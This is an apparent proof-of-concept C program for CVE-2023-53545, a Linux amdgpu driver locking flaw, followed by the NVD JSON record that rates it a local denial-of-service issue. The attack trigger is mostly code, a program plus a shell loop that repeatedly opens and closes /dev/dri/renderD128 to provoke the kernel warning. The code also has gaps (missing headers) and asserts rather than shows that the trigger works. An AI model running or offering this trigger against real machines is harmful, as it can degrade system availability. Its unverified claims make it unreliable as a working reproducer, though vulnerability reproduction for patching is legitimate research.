CVE-2023-53545

// CVE-2023-53545 PoC - Trigger amdgpu csa_va lockdep warning // This PoC triggers the vulnerability by opening and closing the AMD GPU device file // The vulnerability is triggered during drm_file_free -> amdgpu_driver_postclose_kms #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/amdgpu_drm.h> int main(int argc, char *argv[]) { int fd; int ret; struct drm_version version; // Step 1: Open the AMD GPU DRM device fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open AMD GPU device"); // Try card device as fallback fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open card device"); return 1; } } printf("Opened AMD GPU device fd=%d\n", fd); // Step 2: Get DRM version to ensure it's an AMD GPU memset(&version, 0, sizeof(version)); version.name_len = 256; version.name = malloc(version.name_len); version.date_len = 256; version.date = malloc(version.date_len); version.desc_len = 256; version.desc = malloc(version.desc_len); ret = ioctl(fd, DRM_IOCTL_VERSION, &version); if (ret == 0) { printf("DRM Driver: %s\n", version.name); printf("DRM Date: %s\n", version.date); printf("DRM Desc: %s\n", version.desc); // Check if this is an AMD GPU if (strstr(version.name, "amdgpu") == NULL && strstr(version.desc, "AMD") == NULL) { printf("Warning: This may not be an AMD GPU\n"); } } free(version.name); free(version.date); free(version.desc); // Step 3: Close the device - this triggers amdgpu_driver_postclose_kms // which will attempt to unmap and remove csa_va without proper locking printf("Closing device to trigger vulnerability...\n"); close(fd); printf("Done. Check dmesg for lockdep warning:\n"); printf("WARNING: CPU: ... at drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c:1762 amdgpu_vm_bo_del\n"); return 0; } // Compilation: gcc -o poc poc.c -I/usr/include/libdrm // Usage: sudo ./poc && dmesg | grep -i "amdgpu_vm_bo_del\|lockdep" // // Alternative trigger: Simply opening and closing the AMD GPU device // multiple times can trigger the vulnerability: // for i in $(seq 1 100); do // python3 -c "import os; fd=os.open('/dev/dri/renderD128', os.O_RDWR); os.close(fd)" // done // dmesg | tail -50

{"cve": {"id": "CVE-2023-53545", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:49.637", "lastModified": "2026-03-25T11:16:06.190", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: unmap and remove csa_va properly\n\nRoot PD BO should be reserved before unmap and remove\na bo_va from VM otherwise lockdep will complain.\n\nv2: check fpriv->csa_va is not NULL instead of amdgpu_mcbp (christian)\n\n[14616.936827] WARNING: CPU: 6 PID: 1711 at drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c:1762 amdgpu_vm_bo_del+0x399/0x3f0 [amdgpu]\n[14616.937096] Call Trace:\n[14616.937097] <TASK>\n[14616.937102] amdgpu_driver_postclose_kms+0x249/0x2f0 [amdgpu]\n[14616.937187] drm_file_free+0x1d6/0x300 [drm]\n[14616.937207] drm_close_helper.isra.0+0x62/0x70 [drm]\n[14616.937220] drm_release+0x5e/0x100 [drm]\n[14616.937234] __fput+0x9f/0x280\n[14616.937239] ____fput+0xe/0x20\n[14616.937241] task_work_run+0x61/0x90\n[14616.937246] exit_to_user_mode_prepare+0x215/0x220\n[14616.937251] syscall_exit_to_user_mode+0x2a/0x60\n[14616.937254] do_syscall_64+0x48/0x90\n[14616.937257] entry_SYSCALL_64_after_hwframe+0x63/0xcd"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "6.4.12", "matchCriteriaId": "627AF6EA-81E2-47AC-9270-EB299AB9D5EB"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5daff15cd013422bc6d1efcfe82b586800025384", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a3a96bf843c356d1d9b2d7f6d0784b6ee28ca9d0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ae325b245208394279a1dc412c831ebd71befb0d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}